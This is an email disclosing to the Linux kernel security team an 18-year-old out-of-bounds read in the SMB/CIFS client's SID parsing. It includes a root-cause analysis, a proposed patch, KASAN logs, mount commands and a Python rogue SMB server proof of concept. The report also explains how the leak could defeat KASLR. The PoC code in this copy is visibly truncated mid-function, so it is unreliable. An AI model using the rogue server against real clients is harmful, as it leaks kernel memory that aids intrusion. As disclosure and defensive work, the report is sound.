From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.44 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795432777; b=X3bjJ+w3f1drlbWgW+020Wus20Ve8oGDzbzaqnQpRAbL1f+QEC/HyJrVtFYGer0/0fkQ Az+KydWiF4f84gBulyLSDoo1fq1MvfBaTJweWZ61Zph4H4D69RbbCRDQHqtWYcanij3Z9 OwpC90MIudME2gqk1Md92UmraOqUhVn4RHEMywLX5U3XFIIjKg6Urk1ZN8UJUtvZFuoIN Kl5OsY3OwExPXcM40mtMJ5mXffdkEGO2bya0bNYZtlxYo4CNnqOPcTvhoMnfF5gzrZYyc I9KbypLO9GiyU5QWIwIQHMKuDkMVqnK8VXb1uyKEAsi/Sm0fUoBrwbc/EszrGWUXgwg== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795432777; h=DMARC-Filter:Received:DKIM-Signature:X-Google-DKIM-Signature: X-Forwarded-Encrypted:X-Gm-Message-State:X-Gm-Gg:X-Received:Received: From:To:Cc:Subject:Date:Message-ID:X-Mailer:MIME-Version:Content-Type: Content-Transfer-Encoding; bh=LWX5nOhkisIvU4SrUUah9v8UsCfb6iuu4wUNlb39Hfs=; b=nB6/UbNEhECXnltHWfxqFYBdGUumppcMerYCmMMKaCpQyJD/J5qM2gOjARyUy+EvBMmq xxgfhMbcjPCYfttSbmsuNyvUdSFSrKf6/iQwtWQMjdcWwYivlxC8CLyNquuONX8KuuYib 3QMy/j8PSmCS4/HZGO9hJ53PqDJtB4jMz6LyDUWjxxwqAGin/EfV0o+PhXY7PQQMclbsU +6Xgps7767Oh4fcKsWzoaJ0nUPXSB8uP0zjf02ndHyG5qDVmqU+SMN6LWjnAVGYCFs4yS zJJKAoO3v7VIYWmFQ2Bp9GCosF3BZOo82wboIj82OPYjKYqWuh8KDihRDBXvBXFoF0A== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=gmail.com; spf=pass smtp.mailfrom=gmail.com; dkim=pass header.d=gmail.com header.i=@gmail.com header.a=rsa-sha256 header.s=20260707 header.b=Np8YmP2q; arc=none smtp.remote-ip=74.125.82.44 Received: from mail-dl1-f44.google.com (mail-dl1-f44.google.com [74.125.82.44]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 1480D606A32A for ; Mon, 23 Nov 2026 11:19:35 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 1480D606A32A Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=gmail.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.a=rsa-sha256 header.s=20260707 header.b=Np8YmP2q Received: by mail-dl1-f44.google.com with SMTP id a92af1059eb24-15ea896ddc8so5295097c88.0 for ; Mon, 23 Nov 2026 03:19:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20260707; t=1795432775; x=1796037575; darn=vger.kernel.org; h=content-transfer-encoding:content-type:mime-version:message-id:date :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to :content-type; bh=LWX5nOhkisIvU4SrUUah9v8UsCfb6iuu4wUNlb39Hfs=; b=Np8YmP2qDAElhBg1/86olZFvuPl49sXdbyh2/XbdFVgcxSDgz377c7P/5sua81gB2E Ibl5IlVDyb3OYBLG2RfW7oIMzGgFb8xJjap1xlYv/+8O2jDJ0/cVBJOVY212I3k7/3Y7 NeN6AUCA2Ofk9x/PxtGa2r7XglJAOGfZqa/HmSjUw8bQ3EnVofdGd9Jq8PI9aLATiGgu SDjs1jBFOAwLuViPM2F5ySFGTLATZxfNN3iGqXu5+YWLnK6vncHZJ9Q1M0YXijTvXoLS axMBUKn9OEtua61Ji7Q3uyYlunKRj5/Gk888U/3b8L85q812P5R5xdIZiHcMkBVufzCo i41w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1795432775; x=1796037575; h=content-transfer-encoding:content-type:mime-version:message-id:date :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject :date:message-id:reply-to:content-type; bh=LWX5nOhkisIvU4SrUUah9v8UsCfb6iuu4wUNlb39Hfs=; b=ESRTcu3dMRNr8wcgadiPUgTUQQ+Q5eLyZwIDwBRTyRNlOWWM35DqVCBBI8A3u0RpvS DQoNc3jDq+C+RfH8e84mMLdLasg32boXCqQKdZfZgSK/lp/CzVngukx0iK4XFfmFbXs5 CIWiGQY88NQD5dwYpekRKI78UyaQCuSLDovD2DfY+0W1P+yrw1/nxn29McnQaLPdVx7q VtkmNam/1NZHMWRvQ2wIczNJwCzLlkEbdEhkMMoN6lAHMaZsl/Tv8Y0jUcXQkxWc7DUg U9M2oNkqvDufiSTHirAKvaJ4rRu4kJ1pcfP/6wU/g6YVFhyCRMUHB9uPpVtzxqssPG3N cwYg== X-Forwarded-Encrypted: i=1; AL+hErGt3k+U4JHzwBz+POYnaRFiKyHMEVfGEn+rVP8sJy7a7jTySMxjhq+kTNSYqevI6t9nQXLbIFxJeOAT@vger.kernel.org X-Gm-Message-State: APuU4Z8ONYczPdAfMskRor8+S9PbWlNDzOQlAXwVYOx6RQn3EEYhZeMm 5Ejpok0YqzLwrnl7KIo3cEaq9TW5x//fkHgnhKc5Gs7dLPuNr517Z8eU X-Gm-Gg: AZFdTZfXW5HecFqcSN7cn87eDJ8hSIFTDCT3WSt02rSipZtny7t/4uAgkjEPLD36WZ+ CIhbWQu+3Eggb7R+aQwR+38J53YAL857SW7O9D5iDm7DqLAhSIn2bCW+M5QuTrYNhJA3HT5EwRP oP9j3fGNgIO1FQToqZE2E2HdNCsKd1BS18Ha9sRKFiXJmzMWBrS3+iXdj49zWDB+VWHDE9XXuo5 f4aM6KR1UWQECZqeawoKKEkdb1s/YLXY4168NMXw12JMaBUjUG+gWA5U1P34BCpN00bHttLGisp oEozeuZ5WUHh/yXNt+w+3+jM5m0YdV1Faqkbeyc8o/SlTJsI+bAkl1cuXvLwPFP4CjvdSFDwjg7 Pd6wkpHvOXIlGHtoPnl1sko576M87We0ja+1n+ECelzD1nmgBq5O1iYx5S74fBaenW6lh4FjaRb qDmZrHFzW+dSCM4TqTFXmSyOPCRIKxXWak6nMmqLm9klmS/bbi6aos2+/gXoZ9PPiR83SBL4xzC g3n8xVKAC+LZrpg6/btO+n4wEfETwh8bE0DBG0eku7CN/rDT4gA81iT+QeqiINOGwv4CzXp1RVm jthIRAf//06/GOxZDPkm31FrxwnCFv25PCaKuAs/E+G4tFT8hjXTBlelYQWz+2WDE31tnHtC0Eg YDe3EKPC8nCty9dEfDxdG3kWL X-Received: by 2002:a05:701a:cc95:20b0:144:fa57:c617 with SMTP id a92af1059eb24-1b5568f1200mr10659865c88.34.1795432774953; Mon, 23 Nov 2026 03:19:34 -0800 (PST) Received: from ip-192-168-31-150.ap-south-1.compute.internal ([2409:40d2:2011:872e:6565:a2df:e6e1:88c7]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b56ef9fd16sm14084346c88.4.2026.11.23.03.19.30 (version=TLS1_3 cipher=TLS_CHACHA20_POLY1305_SHA256 bits=256/256); Mon, 23 Nov 2026 03:19:34 -0800 (PST) From: Tanuj Sharma To: security@kernel.org Cc: sfrench@samba.org, pc@manguebit.com, ronniesahlberg@gmail.com, sprasad@microsoft.com, tom@talpey.com, bharathsm@microsoft.com, linux-cifs@vger.kernel.org, Tanuj Sharma Subject: [SECURITY] smb: client: OOB read in parse_sid via unchecked num_subauth (18 years) Date: Mon, 23 Nov 2026 16:49:21 +0530 Message-ID: <20261123111922.84271-1-ertanuj96@gmail.com> X-Mailer: git-send-email 2.54.0 X-Mailing-List: linux-cifs@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi, I am reporting an out-of-bounds read vulnerability in the SMB/CIFS client that is exploitable by a malicious SMB server (or MitM attacker). A rogue server can send a CIFS ACL response with a crafted SID containing a large num_subauth value, causing the client to read up to 56 bytes past the buffer allocation. Severity: HIGH — network-exploitable by a malicious SMB server Attack: Rogue SMB server (or MitM) sends ACL response with SID containing num_subauth up to 15 in a buffer too small to hold the sub-authority array. Affected: v2.6.24+ (since CIFS ACL support was first added, January 2008 — 18 years unfixed) Fixes: bcb020341a7d ("[CIFS] move cifs acl code to new file and fix build break") Impact ------ This is a network-exploitable kernel heap information leak affecting every Linux system that mounts SMB/CIFS shares: 1. Kernel-to-userspace information leak: The OOB sub_auth values are converted to decimal strings by sid_to_key_str() and used as keyring key descriptions via request_key(). Key descriptions are visible to local users through /proc/keys and keyctl, and are passed to userspace via key-construction upcall handlers. This provides a concrete, proven kernel-to-userspace information leak — raw kernel heap data materialized as readable key name strings. The attacker controls SID placement within the security descriptor (via osidoffset/gsidoffset) and can trigger repeatedly to harvest different heap states. 2. KASLR bypass: Adjacent slab objects in the kmalloc-32 cache commonly contain kernel pointers. These are converted to their decimal representation in key names, giving the attacker the raw pointer values and defeating kernel address space layout randomization. 3. Enterprise attack surface: SMB/CIFS is ubiquitous in enterprise environments. Many Linux systems auto-mount SMB shares at boot or login (via /etc/fstab, autofs, or pam_mount). A compromised file server, or a MitM attacker on the corporate network, can exploit this against every client that mounts its shares — no user interaction required beyond the initial mount. 4. 18 years unfixed: This bug has been present since v2.6.24 (January 2008). The TODO comment in the source acknowledging the missing check was never addressed in 18 years: /* BB add length check to make sure that we do not have huge num auths and therefore go off the end */ Root cause ---------- parse_sid() in fs/smb/client/cifsacl.c validates only the SID header: if (end_of_acl < (char *)psid + 8) { cifs_dbg(VFS, "ACL too small to parse SID %p\n", psid); return -EINVAL; } This checks only that the fixed 8-byte SID header (revision + num_subauth + 6-byte authority) fits in the buffer. It does NOT check that the variable- length sub_auth[] array (num_subauth * 4 bytes) also fits. The code even contains an unfulfilled TODO at line ~1290: /* BB add length check to make sure that we do not have huge num auths and therefore go off the end */ After parse_sid() returns, callers like sid_to_id() invoke sid_to_key_str(), which iterates over all `num_subauth` sub-authorities without any buffer bounds check: for (i = 0; i < sidptr->num_subauth; ++i) { saval = le32_to_cpu(sidptr->sub_auth[i]); // OOB read ... } While a check for `num_subauth > SID_MAX_SUB_AUTHORITIES` (15) exists upstream, it does NOT validate that num_subauth * 4 bytes actually fit in the remaining buffer. A server can set num_subauth=15 (passes the max check) in a buffer that only contains 12 bytes total (8-byte header + 4 bytes for 1 sub_auth), causing a 56-byte OOB read (14 extra sub_auths * 4 bytes each). Proposed patch -------------- Add sub-authority length validation in parse_sid() after the existing 8-byte header check: --- a/fs/smb/client/cifsacl.c +++ b/fs/smb/client/cifsacl.c @@ -1267,6 +1267,13 @@ static int parse_sid(struct smb_sid *psid, char *end_of_acl) return -EINVAL; } + if (end_of_acl < (char *)psid + CIFS_SID_BASE_SIZE + + psid->num_subauth * sizeof(__le32)) { + cifs_dbg(VFS, "ACL too small for SID with %u subauthorities\n", + psid->num_subauth); + return -EINVAL; + } + #ifdef CONFIG_CIFS_DEBUG2 ========================================================================== Verification — PRODUCTION KASAN CRASH (42 reports) ========================================================================== Environment: kernel 6.12.115, KASAN generic, Linode VM Trigger: rogue SMB server (PoC below) + mount + `ls -la` This bug was triggered on UNMODIFIED production kernel code (cifs.ko) using a rogue SMB server. No kernel modifications, no test modules. Reproduction steps: 1. Start the rogue SMB server (PoC below) on the VM 2. Mount the share: mount -t cifs //127.0.0.1/share /mnt/test \ -o username=guest,password=,vers=2.0,cifsacl,noforceuid,noforcegid 3. Run: ls -la /mnt/test/ 4. Check: dmesg | grep -c "KASAN" → 42 reports Production KASAN crash log (1 of 42, kernel 6.12.115, unmodified cifs.ko): ================================================================== BUG: KASAN: slab-out-of-bounds in sid_to_id+0xc53/0xde0 [cifs] Read of size 4 at addr ffff88812314b0a0 by task ls/10329 CPU: 4 UID: 0 PID: 10329 Comm: ls Tainted: G B W O 6.12.115 #1 Call Trace: dump_stack_lvl+0x93/0xd0 print_report+0xce/0x660 kasan_report+0xe0/0x110 sid_to_id+0xc53/0xde0 [cifs] parse_sec_desc+0x782/0xb50 [cifs] cifs_acl_to_fattr+0x2ac/0x3a0 [cifs] cifs_get_fattr+0xc77/0x1b40 [cifs] cifs_get_inode_info+0xc1/0x2f0 [cifs] cifs_revalidate_dentry_attr+0x360/0x4a0 [cifs] cifs_getattr+0x531/0xa10 [cifs] vfs_getattr_nosec+0x256/0x320 vfs_getattr+0x5c/0xa0 vfs_statx_path+0x2c/0x370 vfs_statx+0xfd/0x170 do_statx+0xd5/0x150 __x64_sys_statx+0x138/0x210 do_syscall_64+0xc1/0x1e0 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated by task 10329: kasan_save_stack+0x33/0x60 kasan_save_track+0x14/0x30 __kasan_kmalloc+0x8f/0xa0 __kmalloc_noprof+0x193/0x360 query_info+0x1071/0x13e0 [cifs] SMB2_query_acl+0x7f/0xb0 [cifs] get_smb2_acl_by_path+0x2ef/0x3b0 [cifs] get_smb2_acl+0x44/0xa0 [cifs] cifs_acl_to_fattr+0x28a/0x3a0 [cifs] cifs_get_fattr+0xc77/0x1b40 [cifs] cifs_get_inode_info+0xc1/0x2f0 [cifs] cifs_revalidate_dentry_attr+0x360/0x4a0 [cifs] cifs_getattr+0x531/0xa10 [cifs] vfs_getattr_nosec+0x256/0x320 The buggy address belongs to the object at ffff88812314b080 which belongs to the cache kmalloc-32 of size 32 The buggy address is located 0 bytes to the right of allocated 32-byte region [ffff88812314b080, ffff88812314b0a0) faddr2line decoding: sid_to_id+0xc53 = sid_to_key_str at fs/smb/client/cifsacl.c:166 (inlined by) sid_to_id at fs/smb/client/cifsacl.c:415 parse_sec_desc+0x782 = parse_sec_desc at fs/smb/client/cifsacl.c:1361 cifs_acl_to_fattr+0x2ac = cifs_acl_to_fattr at fs/smb/client/cifsacl.c:1710 42 consecutive KASAN reports triggered by a single `ls -la` on the mounted share (14 OOB reads per SID x owner + group SID x directory + file). ========================================================================== PoC — rogue SMB server (Python, raw SMB2 protocol, no deps) ========================================================================== The rogue server responds to SMB2 QUERY_INFO (InfoType=SECURITY) with a crafted NTSD containing a malicious SID: revision=1, num_subauth=15, but only 12 bytes total (8-byte header + 1 sub_auth). The kernel does kmalloc(32) for the 32-byte NTSD and reads 15*4=60 bytes of sub_auth from a 4-byte region → 56-byte OOB read. --- cut here: smb_rogue_sid_poc.py --- #!/usr/bin/env python3 """Rogue SMB server — parse_sid OOB trigger. Run as root (port 445).""" import socket, struct, os PORT = 445 SMB2_MAGIC = b'\xfeSMB' SMB2_NEGOTIATE, SMB2_SESSION_SETUP, SMB2_TREE_CONNECT = 0, 1, 3 SMB2_CREATE, SMB2_CLOSE, SMB2_QUERY_INFO = 5, 6, 0x10 STATUS_SUCCESS = 0 def smb2_header(cmd, status=0, msg_id=0, tree_id=0, sess_id=0): h = bytearray(64) h[0:4] = SMB2_MAGIC struct.pack_into('I', len(resp)); nb = bytes([0]) + nb[1:] conn.sendall(nb + resp) srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(('0.0.0.0', PORT)); srv.listen(1) print(f"[*] Rogue SMB server on :{PORT}") print("[*] mount -t cifs //127.0.0.1/share /mnt -o username=a,password=a,vers=2.0,cifsacl,noforceuid,noforcegid") while True: c, a = srv.accept() print(f"[+] {a}"); handle(c); c.close() --- end cut --- I have not shared this finding publicly. Happy to work with the CIFS/SMB maintainers on the patch if any changes are needed. Best regards, Tanuj Sharma ertanuj96@gmail.com